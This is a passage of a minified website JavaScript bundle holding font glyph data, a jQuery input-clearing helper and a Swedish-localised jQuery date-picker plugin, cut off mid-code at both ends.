-257r36,0r89,225r89,-225r36,0r0,257r-25,0r-1,-222r-87,222r-23,0r-89,-222r0,222r-25,0","w":299},"N":{"d":"26,0r0,-257r27,0r150,217r0,-217r25,0r0,257r-27,0r-151,-217r0,217r-24,0","w":253},"O":{"d":"134,-242v-132,1,-130,226,0,227v130,-1,130,-226,0,-227xm12,-129v0,-71,41,-133,122,-133v81,0,121,62,121,133v0,71,-40,134,-121,134v-81,0,-122,-63,-122,-134","w":266},"P":{"d":"50,-236r0,105v63,-2,142,16,142,-53v0,-68,-79,-50,-142,-52xm26,0r0,-257r114,0v46,0,76,27,76,73v0,46,-30,74,-76,74r-90,0r0,110r-24,0","w":226,"k":{"\u00c5":27,"\u00c4":27,"A":27,".":55,",":55}},"Q":{"d":"252,1r-12,16r-40,-31v-18,13,-39,19,-66,19v-81,0,-122,-63,-122,-134v0,-71,41,-133,122,-133v125,0,155,163,82,235xm160,-69r37,28v59,-60,42,-201,-63,-201v-132,1,-130,226,0,227v18,0,34,-5,47,-13r-34,-26","w":266},"R":{"d":"50,-236r0,101v63,-2,144,15,147,-50v3,-66,-85,-49,-147,-51xm202,0v-16,-45,6,-114,-59,-114r-93,0r0,114r-24,0r0,-257v85,3,195,-22,196,67v1,34,-19,57,-50,66v62,5,34,81,57,124r-27,0","w":240,"k":{"y":-9,"Y":5,"W":-2,"V":-2,"T":-2}},"S":{"d":"13,-85r24,0v-1,53,37,70,84,70v27,0,68,-16,68,-53v0,-83,-167,-24,-168,-122v0,-25,17,-72,89,-72v51,0,95,26,95,79r-25,0v2,-72,-134,-84,-134,-7v0,47,64,42,101,54v35,12,67,26,67,68v0,18,-7,73,-98,73v-61,0,-106,-27,-103,-90","w":226},"T":{"d":"-2,-236r0,-21r204,0r0,21r-90,0r0,236r-24,0r0,-236r-90,0","k":{"\u00f6":40,"\u00e5":40,"\u00e4":40,"\u00c5":24,"\u00c4":24,"y":40,"w":40,"u":33,"s":40,"r":33,"o":40,"i":-9,"e":40,"c":40,"a":40,"A":24,";":40,":":40,".":40,"-":46,",":40}},"U":{"d":"123,5v-136,0,-93,-142,-100,-262r25,0r0,159v0,59,27,83,75,83v48,0,76,-24,76,-83r0,-159r24,0v-7,120,37,262,-100,262","w":246},"V":{"d":"93,0r-96,-257r27,0r84,230r83,-230r26,0r-96,257r-28,0","w":213,"k":{"\u00f6":20,"\u00e5":20,"\u00e4":20,"\u00c5":20,"\u00c4":20,"y":6,"u":13,"r":13,"o":20,"i":-2,"e":20,"a":20,"A":20,";":27,":":27,".":46,"-":20,",":46}},"W":{"d":"71,0r-71,-257r26,0r59,225r63,-225r31,0r63,225r59,-225r24,0r-70,257r-26,0r-66,-230r-65,230r-27,0","w":326,"k":{"\u00f6":6,"\u00e5":13,"\u00e4":13,"\u00c5":6,"\u00c4":6,"u":6,"r":6,"o":6,"i":-9,"e":6,"a":13,"A":6,";":6,":":6,".":27,",":27}},"X":{"d":"88,-132r-87,-125r29,0r73,108r75,-108r27,0r-88,125r93,132r-29,0r-78,-113r-80,113r-27,0","w":206},"Y":{"d":"98,0r0,-106r-102,-151r30,0r84,130r84,-130r30,0r-102,151r0,106r-24,0","w":219,"k":{"\u00f6":33,"\u00e5":33,"\u00e4":33,"\u00c5":27,"\u00c4":27,"v":20,"u":27,"q":33,"p":27,"o":33,"i":3,"e":33,"a":33,"A":27,";":33,":":33,".":36,"-":40,",":44}},"Z":{"d":"13,-236r0,-21r185,0r0,22r-169,214r173,0r0,21r-200,0r0,-22r169,-214r-158,0","w":206},"[":{"d":"85,69r-58,0r0,-331r58,0r0,19r-35,0r0,293r35,0r0,19","w":86},"\\":{"d":"125,5r-20,0r-110,-267r19,0","w":119},"]":{"d":"1,-262r58,0r0,331r-58,0r0,-19r36,0r0,-293r-36,0r0,-19","w":86},"^":{"d":"37,-86r-21,0r83,-163r18,0r83,163r-20,0r-72,-140","w":216},"_":{"d":"180,45r-180,0r0,-18r180,0r0,18","w":180},"a":{"d":"42,-129r-23,0v3,-44,33,-62,76,-62v33,0,68,10,68,60r0,98v-1,12,11,17,21,12r0,20v-28,6,-44,-8,-43,-31v-20,51,-129,53,-129,-17v0,-52,50,-54,99,-60v19,-2,29,-5,29,-25v0,-31,-21,-38,-48,-38v-28,0,-49,13,-50,43xm140,-102v-30,22,-106,6,-106,52v0,23,20,36,42,36v46,0,71,-34,64,-88","w":186},"b":{"d":"22,0r0,-257r22,0r1,107v9,-27,37,-41,64,-41v57,0,84,45,84,98v0,53,-27,98,-84,98v-31,1,-55,-16,-67,-40r0,35r-20,0xm109,-14v83,-1,82,-157,0,-158v-89,1,-89,157,0,158","w":206},"c":{"d":"175,-127r-22,0v-6,-28,-23,-45,-53,-45v-86,1,-87,157,0,158v28,0,51,-22,54,-53r23,0v-6,45,-35,72,-77,72v-57,0,-88,-45,-88,-98v0,-53,31,-98,88,-98v40,0,70,21,75,64","w":186},"d":{"d":"185,-257r0,257r-21,0v-1,-11,2,-26,-1,-35v-10,24,-39,40,-66,40v-57,0,-83,-45,-83,-98v0,-53,26,-98,83,-98v27,0,56,14,65,41r0,-107r23,0xm97,-172v-83,1,-82,157,0,158v89,-1,89,-157,0,-158","w":206},"e":{"d":"35,-106r120,0v-1,-34,-23,-66,-59,-66v-37,0,-57,32,-61,66xm178,-87r-143,0v0,33,18,73,61,73v33,0,51,-19,58,-47r23,0v-10,42,-34,66,-81,66v-59,0,-84,-45,-84,-98v0,-49,25,-98,84,-98v59,0,84,52,82,104","w":186},"f":{"d":"93,-186r0,19r-36,0r0,167r-23,0r0,-167r-32,0r0,-19r32,0v-5,-48,11,-79,64,-70r0,20v-36,-9,-46,13,-41,50r36,0","w":93,"k":{"f":6}},"g":{"d":"179,-186v-9,107,39,260,-83,260v-37,0,-74,-17,-77,-56r23,0v5,27,29,37,54,37v50,0,66,-42,59,-95v-10,23,-32,38,-59,38v-59,0,-84,-43,-84,-96v0,-51,30,-93,84,-93v28,-1,49,18,60,37r0,-32r23,0xm96,-21v79,-1,82,-151,0,-151v-43,0,-61,38,-61,77v0,37,19,74,61,74"},"h":{"d":"21,0r0,-257r23,0r1,103v9,-22,33,-37,59,-37v98,0,61,108,68,191r-23,0v-8,-67,28,-171,-47,-172v-75,-1,-56,99,-58,172r-23,0","w":193},"i":{"d":"22,-221r0,-36r23,0r0,36r-23,0xm22,0r0,-186r23,0r0,186r-23,0","w":66},"j":{"d":"22,-221r0,-36r23,0r0,36r-23,0xm22,23r0,-209r23,0r0,203v2,34,-16,59,-56,51r0,-19v21,5,33,-6,33,-26","w":66},"k":{"d":"22,0r0,-257r22,0r0,161r103,-90r30,0r-79,69r85,117r-29,0r-73,-101r-37,30r0,71r-22,0","w":180},"l":{"d":"22,0r0,-257r23,0r0,257r-23,0","w":66},"m":{"d":"22,0r0,-186r20,0v2,10,-3,26,2,32v16,-45,99,-52,114,-1v11,-24,35,-36,59,-36v87,0,55,114,61,191r-22,0r0,-125v0,-31,-11,-47,-44,-47v-74,0,-45,103,-51,172r-22,0r0,-126v0,-25,-10,-46,-39,-46v-76,0,-53,100,-56,172r-22,0","w":299},"n":{"d":"21,0r0,-186r23,0v1,10,-2,24,1,32v9,-22,33,-37,59,-37v98,0,61,108,68,191r-23,0v-8,-67,28,-171,-47,-172v-75,-1,-56,99,-58,172r-23,0","w":193},"o":{"d":"100,-172v-86,1,-87,157,0,158v86,-1,87,-157,0,-158xm100,-191v57,0,88,45,88,98v0,53,-31,98,-88,98v-57,0,-88,-45,-88,-98v0,-53,31,-98,88,-98"},"p":{"d":"22,69r0,-255r20,0v1,11,-2,27,1,36v10,-26,36,-41,66,-41v57,0,84,45,84,98v0,53,-27,98,-84,98v-28,1,-53,-15,-65,-40r0,104r-22,0xm109,-14v83,-1,82,-157,0,-158v-50,0,-65,37,-65,79v0,39,17,79,65,79","w":206},"q":{"d":"185,-186r0,255r-23,0r0,-104v-10,27,-38,40,-65,40v-57,0,-83,-45,-83,-98v0,-53,26,-98,83,-98v28,-1,55,19,67,41r0,-36r21,0xm97,-172v-83,1,-82,157,0,158v89,-1,89,-157,0,-158","w":206},"r":{"d":"22,0r0,-186r20,0v1,14,-2,32,1,44v12,-30,37,-47,70,-46r0,22v-41,-2,-69,28,-69,67r0,99r-22,0","w":113,"k":{"\u00f6":6,"q":6,"o":6,"n":-6,"e":6,"d":6,"c":6,".":33,"-":20,",":33}},"s":{"d":"156,-131r-23,0v-1,-28,-23,-41,-49,-41v-20,0,-44,8,-44,32v15,55,123,17,122,90v0,40,-40,55,-75,55v-44,0,-72,-19,-76,-65r23,0v2,31,25,46,55,46v22,0,50,-9,50,-35v0,-58,-121,-21,-121,-90v0,-38,36,-52,69,-52v37,0,67,20,69,60","w":173},"t":{"d":"58,-242r0,56r37,0r0,19r-37,0r0,126v-4,23,16,27,37,23r0,19v-36,3,-60,0,-60,-41r0,-127r-32,0r0,-19r32,0r0,-56r23,0","w":106},"u":{"d":"172,-186r0,186r-21,0v-1,-10,2,-25,-1,-33v-24,60,-129,49,-129,-32r0,-121r23,0v8,67,-28,174,50,172v72,-3,52,-100,55,-172r23,0","w":193},"v":{"d":"72,0r-71,-186r25,0r59,163r58,-163r23,0r-70,186r-24,0","w":166,"k":{".":27,",":27}},"w":{"d":"63,0r-60,-186r24,0r48,159r46,-159r25,0r46,159r48,-159r24,0r-60,186r-25,0r-46,-156r-46,156r-24,0","w":266,"k":{".":20,",":20}},"x":{"d":"0,0r72,-96r-66,-90r28,0r53,71r52,-71r28,0r-67,89r73,97r-29,0r-58,-78r-58,78r-28,0","w":173},"y":{"d":"75,-1r-74,-185r24,0r61,159r57,-159r23,0r-81,214v-13,37,-29,45,-66,39r0,-19v37,12,47,-21,56,-49","w":166,"k":{".":33,",":33}},"z":{"d":"156,-170r-123,151r128,0r0,19r-156,0r0,-18r122,-149r-113,0r0,-19r142,0r0,16","w":166},"{":{"d":"105,69v-56,11,-50,-48,-49,-99v0,-29,-5,-57,-26,-57r0,-19v62,-6,-21,-170,75,-156r0,19v-37,-4,-27,51,-27,87v0,41,-21,54,-25,60v5,3,25,18,25,58v0,34,-12,91,27,88r0,19","w":119},"|":{"d":"31,77r0,-360r19,0r0,360r-19,0","w":79},"}":{"d":"14,-262v55,-11,51,46,50,98v0,29,5,57,26,57r0,20v-62,6,21,170,-76,156r0,-19v38,5,27,-52,27,-88v0,-41,22,-53,26,-59v-5,-3,-26,-19,-26,-59v0,-34,12,-91,-27,-87r0,-19","w":119},"~":{"d":"70,-112v24,-1,56,23,77,23v14,0,23,-11,31,-24r13,13v-10,15,-23,31,-45,31v-37,0,-90,-50,-108,1r-13,-13v8,-15,21,-31,45,-31","w":216},"\u00a4":{"d":"34,-125v0,39,29,69,66,69v37,0,67,-30,67,-69v0,-39,-30,-68,-67,-68v-37,0,-66,29,-66,68xm10,-49r21,-20v-26,-29,-27,-82,0,-111r-21,-20r14,-14r20,20v29,-26,83,-27,112,0r19,-20r14,14r-19,19v27,29,26,84,0,113r19,19r-14,14r-19,-20v-28,26,-84,27,-112,0r-20,20"},"'":{"d":"39,-170r0,-87r23,0r0,87r-23,0","w":100},"`":{"d":"36,-212r-47,-50r28,0r38,50r-19,0","w":66},"\u00b4":{"d":"78,-263r-48,51r-18,0r38,-51r28,0","w":66},"\u00c4":{"d":"114,-233r-52,132r101,0xm-3,0r104,-257r28,0r100,257r-26,0r-31,-80r-117,0r-31,80r-27,0xm94,-288r-24,0r0,-36r24,0r0,36xm158,-288r-24,0r0,-36r24,0r0,36","w":226,"k":{"y":6,"w":6,"v":6,"Y":27,"W":2,"V":18,"T":24}},"\u00c5":{"d":"114,-233r-52,132r101,0xm-3,0r104,-257r28,0r100,257r-26,0r-31,-80r-117,0r-31,80r-27,0xm90,-310v0,14,10,25,24,25v14,0,25,-11,25,-25v0,-14,-11,-24,-25,-24v-14,0,-24,10,-24,24xm76,-310v0,-21,17,-38,38,-38v21,0,39,17,39,38v0,21,-18,39,-39,39v-21,0,-38,-18,-38,-39","w":226,"k":{"y":6,"w":6,"v":6,"Y":27,"W":2,"V":18,"T":24}},"\u00d6":{"d":"134,-242v-132,1,-130,226,0,227v130,-1,130,-226,0,-227xm12,-129v0,-71,41,-133,122,-133v81,0,121,62,121,133v0,71,-40,134,-121,134v-81,0,-122,-63,-122,-134xm113,-288r-24,0r0,-36r24,0r0,36xm177,-288r-25,0r0,-36r25,0r0,36","w":266},"\u00e4":{"d":"42,-129r-23,0v3,-44,33,-62,76,-62v33,0,68,10,68,60r0,98v-1,12,11,17,21,12r0,20v-28,6,-44,-8,-43,-31v-20,51,-129,53,-129,-17v0,-52,50,-54,99,-60v19,-2,29,-5,29,-25v0,-31,-21,-38,-48,-38v-28,0,-49,13,-50,43xm140,-102v-30,22,-106,6,-106,52v0,23,20,36,42,36v46,0,71,-34,64,-88xm73,-220r-24,0r0,-36r24,0r0,36xm137,-220r-24,0r0,-36r24,0r0,36","w":186},"\u00e5":{"d":"42,-129r-23,0v3,-44,33,-62,76,-62v33,0,68,10,68,60r0,98v-1,12,11,17,21,12r0,20v-28,6,-44,-8,-43,-31v-20,51,-129,53,-129,-17v0,-52,50,-54,99,-60v19,-2,29,-5,29,-25v0,-31,-21,-38,-48,-38v-28,0,-49,13,-50,43xm140,-102v-30,22,-106,6,-106,52v0,23,20,36,42,36v46,0,71,-34,64,-88xm68,-245v0,14,11,25,25,25v14,0,24,-11,24,-25v0,-14,-10,-24,-24,-24v-14,0,-25,10,-25,24xm54,-245v0,-21,18,-38,39,-38v21,0,38,17,38,38v0,21,-17,39,-38,39v-21,0,-39,-18,-39,-39","w":186},"\u00f6":{"d":"100,-172v-86,1,-87,157,0,158v86,-1,87,-157,0,-158xm100,-191v57,0,88,45,88,98v0,53,-31,98,-88,98v-57,0,-88,-45,-88,-98v0,-53,31,-98,88,-98xm81,-220r-24,0r0,-36r24,0r0,36xm145,-220r-25,0r0,-36r25,0r0,36"},"\u00a0":{"w":100}}});

//Clear Inputs
(function($) {$.fn.ClearInput = function() { $(this).each(function() { var DefaultValue = this.defaultValue; $(this).focus(function(){ var CurrValue = $(this).val(); if(CurrValue == DefaultValue) { $(this).val(""); } }); $(this).blur(function(){ var CurrValue = $(this).val(); if(CurrValue.length == 0) { $(this).val(DefaultValue); } }); }); }})(jQuery);

//DatePicker
Date.dayNames=["Söndag","Måndag","Tisdag","Onsdag","Torsdag","Fredag","Lördag"];Date.abbrDayNames=["Sön","Mån","Tis","Ons","Tor","Fre","Lör"];Date.monthNames=["Januari","Februari","Mars","April","Maj","Juni","Juli","Augusti","September","Oktober","November","December"];Date.abbrMonthNames=["jan","feb","mar","apr","maj","jun","jul","aug","sep","oct","nov","dec"];Date.firstDayOfWeek=1;Date.format="dd/mm/yyyy";Date.fullYearStart="20";(function(){function b(c,d){if(!Date.prototype[c]){Date.prototype[c]=d}}b("isLeapYear",function(){var c=this.getFullYear();return(c%4==0&&c%100!=0)||c%400==0});b("isWeekend",function(){return this.getDay()==0||this.getDay()==6});b("isWeekDay",function(){return !this.isWeekend()});b("getDaysInMonth",function(){return[31,(this.isLeapYear()?29:28),31,30,31,30,31,31,30,31,30,31][this.getMonth()]});b("getDayName",function(c){return c?Date.abbrDayNames[this.getDay()]:Date.dayNames[this.getDay()]});b("getMonthName",function(c){return c?Date.abbrMonthNames[this.getMonth()]:Date.monthNames[this.getMonth()]});b("getDayOfYear",function(){var c=new Date("1/1/"+this.getFullYear());return Math.floor((this.getTime()-c.getTime())/86400000)});b("getWeekOfYear",function(){return Math.ceil(this.getDayOfYear()/7)});b("setDayOfYear",function(c){this.setMonth(0);this.setDate(c);return this});b("addYears",function(c){this.setFullYear(this.getFullYear()+c);return this});b("addMonths",function(d){var c=this.getDate();this.setMonth(this.getMonth()+d);if(c>this.getDate()){this.addDays(-this.getDate())}return this});b("addDays",function(c){this.setTime(this.getTime()+(c*86400000));return this});b("addHours",function(c){this.setHours(this.getHours()+c);return this});b("addMinutes",function(c){this.setMinutes(this.getMinutes()+c);return this});b("addSeconds",function(c){this.setSeconds(this.getSeconds()+c);return this});b("zeroTime",function(){this.setMilliseconds(0);this.setSeconds(0);this.setMinutes(0);this.setHours(0);return this});b("asString",function(d){var c=d||Date.format;if(c.split("mm").length>1){c=c.split("mmmm").join(this.getMonthName(false)).split("mmm").join(this.getMonthName(true)).split("mm").join(a(this.getMonth()+1))}else{c=c.split("m").join(this.getMonth()+1)}c=c.split("yyyy").join(this.getFullYear()).split("yy").join((this.getFullYear()+"").substring(2)).split("dd").join(a(this.getDate())).split("d").join(this.getDate());return c});Date.fromString=function(t){var n=Date.format;var p=new Date("01/01/1970");if(t==""){return p}t=t.toLowerCase();var m="";var e=[];var c=/(dd?d?|mm?m?|yy?yy?)+([^(m|d|y)])?/g;var k;while((k=c.exec(n))!=null){switch(k[1]){case"d":case"dd":case"m":case"mm":case"yy":case"yyyy":m+="(\\d+\\d?\\d?\\d?)+";e.push(k[1].substr(0,1));break;case"mmm":m+="([a-z]{3})";e.push("M");break}if(k[2]){m+=k[2]}}var l=new RegExp(m);var q=t.match(l);for(var h=0;h<e.length;h++){var o=q[h+1];switch(e[h]){case"d":p.setDate(o);break;case"m":p.setMonth(Number(o)-1);break;case"M":for(var g=0;g<Date.abbrMonthNames.length;g++){if(Date.abbrMonthNames[g].toLowerCase()==o){break}}p.setMonth(g);break;case"y":p.setYear(o);break}}return p};var a=function(c){var d="0"+c;return d.substring(d.length-2)}})();
(function(d){d.fn.extend({renderCalendar:function(t){var C=function(i){return document.createElement(i)};t=d.extend({},d.fn.datePicker.defaults,t);if(t.showHeader!=d.dpConst.SHOW_HEADER_NONE){var o=d(C("tr"));for(var x=Date.firstDayOfWeek;x<Date.firstDayOfWeek+7;x++){var h=x%7;var v=Date.dayNames[h];o.append(jQuery(C("th")).attr({scope:"col",abbr:v,title:v,"class":(h==0||h==6?"weekend":"weekday")}).html(t.showHeader==d.dpConst.SHOW_HEADER_SHORT?v.substr(0,1):v))}}var e=d(C("table")).attr({cellspacing:2}).addClass("jCalendar").append((t.showHeader!=d.dpConst.SHOW_HEADER_NONE?d(C("thead")).append(o):C("thead")));var f=d(C("tbody"));var z=(new Date()).zeroTime();z.setHours(12);var B=t.month==undefined?z.getMonth():t.month;var p=t.year||z.getFullYear();var m=(new Date(p,B,1,12,0,0));var l=Date.firstDayOfWeek-m.getDay()+1;if(l>1){l-=7}var q=Math.ceil(((-1*l+1)+m.getDaysInMonth())/7);m.addDays(l-1);var A=function(i){return function(){if(t.hoverClass){var r=d(this);if(!t.selectWeek){r.addClass(t.hoverClass)}else{if(i&&!r.is(".disabled")){r.parent().addClass("activeWeekHover")}}}}};var g=function(){if(t.hoverClass){var i=d(this);i.removeClass(t.hoverClass);i.parent().removeClass("activeWeekHover")}};var n=0;while(n++<q){var u=jQuery(C("tr"));var k=t.dpController?m>t.dpController.startDate:false;for(var x=0;x<7;x++){var j=m.getMonth()==B;var y=d(C("td")).text(m.getDate()+"").addClass((j?"current-month ":"other-month ")+(m.isWeekend()?"weekend ":"weekday ")+(j&&m.getTime()==z.getTime()?"today ":"")).data("datePickerDate",m.asString()).hover(A(k),g);u.append(y);if(t.renderCallback){t.renderCallback(y,m,B,p)}m=new Date(m.getFullYear(),m.getMonth(),m.getDate()+1,12,0,0)}f.append(u)}e.append(f);return this.each(function(){d(this).empty().append(e)})},datePicker:function(e){if(!d.event._dpCache){d.event._dpCache=[]}e=d.extend({},d.fn.datePicker.defaults,e);return this.each(function(){var g=d(this);var i=true;if(!this._dpId){this._dpId=d.event.guid++;d.event._dpCache[this._dpId]=new a(this);i=false}if(e.inline){e.createButton=false;e.displayClose=false;e.closeOnSelect=false;g.empty()}var f=d.event._dpCache[this._dpId];f.init(e);if(!i&&e.createButton){f.button=d('<a href="#" class="dp-choose-date" title="'+d.dpText.TEXT_CHOOSE_DATE+'">'+d.dpText.TEXT_CHOOSE_DATE+"</a>").bind("click",function(){g.dpDisplay(this);this.blur();return false});g.after(f.button)}if(!i&&g.is(":text")){g.bind("dateSelected",function(k,j,l){this.value=j.asString()}).bind("change",function(){if(this.value==""){f.clearSelected()}else{var j=Date.fromString(this.value);if(j){f.setSelected(j,true,true)}}});if(e.clickInput){g.bind("click",function(){g.trigger("change");g.dpDisplay()})}var h=Date.fromString(this.value);if(this.value!=""&&h){f.setSelected(h,true,true)}}g.addClass("dp-applied")})},dpSetDisabled:function(e){return b.call(this,"setDisabled",e)},dpSetStartDate:function(e){return b.call(this,"setStartDate",e)},dpSetEndDate:function(e){return b.call(this,"setEndDate",e)},dpGetSelected:function(){var e=c(this[0]);if(e){return e.getSelected()}return null},dpSetSelected:function(i,g,f,h){if(g==undefined){g=true}if(f==undefined){f=true}if(h==undefined){h=true}return b.call(this,"setSelected",Date.fromString(i),g,f,h)},dpSetDisplayedMonth:function(e,f){return b.call(this,"setDisplayedMonth",Number(e),Number(f),true)},dpDisplay:function(f){return b.call(this,"display",f)},dpSetRenderCallback:function(e){return b.call(this,"setRenderCallback",e)},dpSetPosition:function(e,f){return b.call(this,"setPosition",e,f)},dpSetOffset:function(e,f){return b.call(this,"setOffset",e,f)},dpClose:function(){return b.call(this,"_closeCalendar",false,this[0])},dpRerenderCalendar:function(){return b.call(this,"_rerenderCalendar")},_dpDestroy:function(){}});var b=function(h,g,e,j,i){return this.each(function(){var f=c(this);if(f){f[h](g,e,j,i)}})};function a(e){this.ele=e;this.displayedMonth=null;this.displayedYear=null;this.startDate=null;this.endDate=null;this.showYearNavigation=null;this.closeOnSelect=null;this.displayClose=null;this.rememberViewedMonth=null;this.selectMultiple=null;this.numSelectable=null;this.numSelected=null;this.verticalPosition=null;this.horizontalPosition=null;this.verticalOffset=null;this.horizontalOffset=null;this.button=null;this.renderCallback=[];this.selectedDates={};this.inline=null;this.context="#dp-popup";this.settings={}}d.extend(a.prototype,{init:function(e){this.setStartDate(e.startDate);this.setEndDate(e.endDate);this.setDisplayedMonth(Number(e.month),Number(e.year));this.setRenderCallback(e.renderCallback);this.showYearNavigation=e.showYearNavigation;this.closeOnSelect=e.closeOnSelect;this.displayClose=e.displayClose;this.rememberViewedMonth=e.rememberViewedMonth;this.selectMultiple=e.selectMultiple;this.numSelectable=e.selectMultiple?e.numSelectable:1;this.numSelected=0;this.verticalPosition=e.verticalPosition;this.horizontalPosition=e.horizontalPosition;this.hoverClass=e.hoverClass;this.setOffset(e.verticalOffset,e.horizontalOffset);this.inline=e.inline;this.settings=e;if(this.inline){this.context=this.ele;this.display()}},setStartDate:function(e){if(e){this.startDate=Date.fromString(e)}if(!this.startDate){this.startDate=(new Date()).zeroTime()}this.setDisplayedMonth(this.displayedMonth,this.displayedYear)},setEndDate:function(e){if(e){this.endDate=Date.fromString(e)}if(!this.endDate){this.endDate=(new Date("12/31/2999"))}if(this.endDate.getTime()<this.startDate.getTime()){this.endDate=this.startDate}this.setDisplayedMonth(this.displayedMonth,this.displayedYear)},setPosition:function(e,f){this.verticalPosition=e;this.horizontalPosition=f},setOffset:function(e,f){this.verticalOffset=parseInt(e)||0;this.horizontalOffset=parseInt(f)||0},setDisabled:function(e){$e=d(this.ele);$e[e?"addClass":"removeClass"]("dp-disabled");if(this.button){$but=d(this.button);$but[e?"addClass":"removeClass"]("dp-disabled");$but.attr("title",e?"":d.dpText.TEXT_CHOOSE_DATE)}if($e.is(":text")){$e.attr("disabled",e?"disabled":"")}},setDisplayedMonth:function(f,n,j){if(this.startDate==undefined||this.endDate==undefined){return}var i=new Date(this.startDate.getTime());i.setDate(1);var l=new Date(this.endDate.getTime());l.setDate(1);var h;if((!f&&!n)||(isNaN(f)&&isNaN(n))){h=new Date().zeroTime();h.setDate(1)}else{if(isNaN(f)){h=new Date(n,this.displayedMonth,1)}else{if(isNaN(n)){h=new Date(this.displayedYear,f,1)}else{h=new Date(n,f,1)}}}if(h.getTime()<i.getTime()){h=i}else{if(h.getTime()>l.getTime()){h=l}}var g=this.displayedMonth;var k=this.displayedYear;this.displayedMonth=h.getMonth();this.displayedYear=h.getFullYear();if(j&&(this.displayedMonth!=g||this.displayedYear!=k)){this._rerenderCalendar();d(this.ele).trigger("dpMonthChanged",[this.displayedMonth,this.displayedYear])}},setSelected:function(l,e,f,h){if(l<this.startDate||l>this.endDate){return}var g=this.settings;if(g.selectWeek){l=l.addDays(-(l.getDay()-Date.firstDayOfWeek+7)%7);if(l<this.startDate){return}}if(e==this.isSelected(l)){return}if(this.selectMultiple==false){this.clearSelected()}else{if(e&&this.numSelected==this.numSelectable){return}}if(f&&(this.displayedMonth!=l.getMonth()||this.displayedYear!=l.getFullYear())){this.setDisplayedMonth(l.getMonth(),l.getFullYear(),true)}this.selectedDates[l.asString()]=e;this.numSelected+=e?1:-1;var j="td."+(l.getMonth()==this.displayedMonth?"current-month":"other-month");var k;d(j,this.context).each(function(){if(d(this).data("datePickerDate")==l.asString()){k=d(this);if(g.selectWeek){k.parent()[e?"addClass":"removeClass"]("selectedWeek")}k[e?"addClass":"removeClass"]("selected")}});d("td",this.context).not(".selected")[this.selectMultiple&&this.numSelected==this.numSelectable?"addClass":"removeClass"]("unselectable");if(h){var g=this.isSelected(l);$e=d(this.ele);var i=Date.fromString(l.asString());$e.trigger("dateSelected",[i,k,g]);$e.trigger("change")}},isSelected:function(e){return this.selectedDates[e.asString()]},getSelected:function(){var f=[];for(var e in this.selectedDates){if(this.selectedDates[e]==true){f.push(Date.fromString(e))}}return f},clearSelected:function(){this.selectedDates={};this.numSelected=0;d("td.selected",this.context).removeClass("selected").parent().removeClass("selectedWeek")},display:function(e){if(d(this.ele).is(".dp-disabled")){return}e=e||this.ele;var m=this;var i=d(e);var l=i.offset();var n;var o;var g;var j;if(m.inline){n=d(this.ele);o={id:"calendar-"+this.ele._dpId,"class":"dp-popup dp-popup-inline"};d(".dp-popup",n).remove();j={}}else{n=d("body");o={id:"dp-popup","class":"dp-popup"};j={top:l.top+m.verticalOffset,left:l.left+m.horizontalOffset};var k=function(r){var p=r.target;var q=d("#dp-popup")[0];while(true){if(p==q){return true}else{if(p==document){m._closeCalendar();return false}else{p=d(p).parent()[0]}}}};this._checkMouse=k;m._closeCalendar(true);d(document).bind("keydown.datepicker",function(p){if(p.keyCode==27){m._closeCalendar()}})}if(!m.rememberViewedMonth){var h=this.getSelected()[0];if(h){h=new Date(h);this.setDisplayedMonth(h.getMonth(),h.getFullYear(),false)}}n.append(d("<div></div>").attr(o).css(j).append(d("<h2></h2>"),d('<div class="dp-nav-prev"></div>').append(d('<a class="dp-nav-prev-year" href="#" title="'+d.dpText.TEXT_PREV_YEAR+'">&lt;&lt;</a>').bind("click",function(){return m._displayNewMonth.call(m,this,0,-1)}),d('<a class="dp-nav-prev-month" href="#" title="'+d.dpText.TEXT_PREV_MONTH+'">&lt;</a>').bind("click",function(){return m._displayNewMonth.call(m,this,-1,0)})),d('<div class="dp-nav-next"></div>').append(d('<a class="dp-nav-next-year" href="#" title="'+d.dpText.TEXT_NEXT_YEAR+'">&gt;&gt;</a>').bind("click",function(){return m._displayNewMonth.call(m,this,0,1)}),d('<a class="dp-nav-next-month" href="#" title="'+d.dpText.TEXT_NEXT_MONTH+'">&gt;</a>').bind("click",function(){return m._displayNewMonth.call(m,this,1,0)})),d('<div class="dp-calendar"></div>')).bgIframe());var f=this.inline?d(".dp-popup",this.context):d("#dp-popup");if(this.showYearNavigation==false){d(".dp-nav-prev-year, .dp-nav-next-year",m.context).css("display","none")}if(this.displayClose){f.append(d('<a href="#" id="dp-close">'+d.dpText.TEXT_CLOSE+"</a>").bind("click",function(){m._closeCalendar();return false}))}m._renderCalendar();d(this.ele).trigger("dpDisplayed",f);if(!m.inline){if(this.verticalPosition==d.dpConst.POS_BOTTOM){f.css("top",l.top+i.height()-f.height()+m.verticalOffset)}if(this.horizontalPosition==d.dpConst.POS_RIGHT){f.css("left",l.left+i.width()-f.width()+m.horizontalOffset)}d(document).bind("mousedown.datepicker",this._checkMouse)}},setRenderCallback:function(e){if(e==null){return}if(e&&typeof(e)=="function"){e=[e]}this.renderCallback=this.renderCallback.concat(e)},cellRender:function(i,e,g,f){var j=this.dpController;var h=new Date(e.getTime());i.bind("click",function(){var k=d(this);if(!k.is(".disabled")){j.setSelected(h,!k.is(".selected")||!j.selectMultiple,false,true);if(j.closeOnSelect){j._closeCalendar()}if(!d.browser.msie){d(j.ele).trigger("focus",[d.dpConst.DP_INTERNAL_FOCUS])}}});if(j.isSelected(h)){i.addClass("selected");if(j.settings.selectWeek){i.parent().addClass("selectedWeek")}}else{if(j.selectMultiple&&j.numSelected==j.numSelectable){i.addClass("unselectable")}}},_applyRenderCallbacks:function(){var e=this;d("td",this.context).each(function(){for(var f=0;f<e.renderCallback.length;f++){$td=d(this);e.renderCallback[f].apply(this,[$td,Date.fromString($td.data("datePickerDate")),e.displayedMonth,e.displayedYear])}});return},_displayNewMonth:function(f,e,g){if(!d(f).is(".disabled")){this.setDisplayedMonth(this.displayedMonth+e,this.displayedYear+g,true)}f.blur();return false},_rerenderCalendar:function(){this._clearCalendar();this._renderCalendar()},_renderCalendar:function(){d("h2",this.context).html((new Date(this.displayedYear,this.displayedMonth,1)).asString(d.dpText.HEADER_FORMAT));d(".dp-calendar",this.context).renderCalendar(d.extend({},this.settings,{month:this.displayedMonth,year:this.displayedYear,renderCallback:this.cellRender,dpController:this,hoverClass:this.hoverClass}));if(this.displayedYear==this.startDate.getFullYear()&&this.displayedMonth==this.startDate.getMonth()){d(".dp-nav-prev-year",this.context).addClass("disabled");d(".dp-nav-prev-month",this.context).addClass("disabled");d(".dp-calendar td.other-month",this.context).each(function(){var i=d(this);if(Number(i.text())>20){i.addClass("disabled")}});var h=this.startDate.getDate();d(".dp-calendar 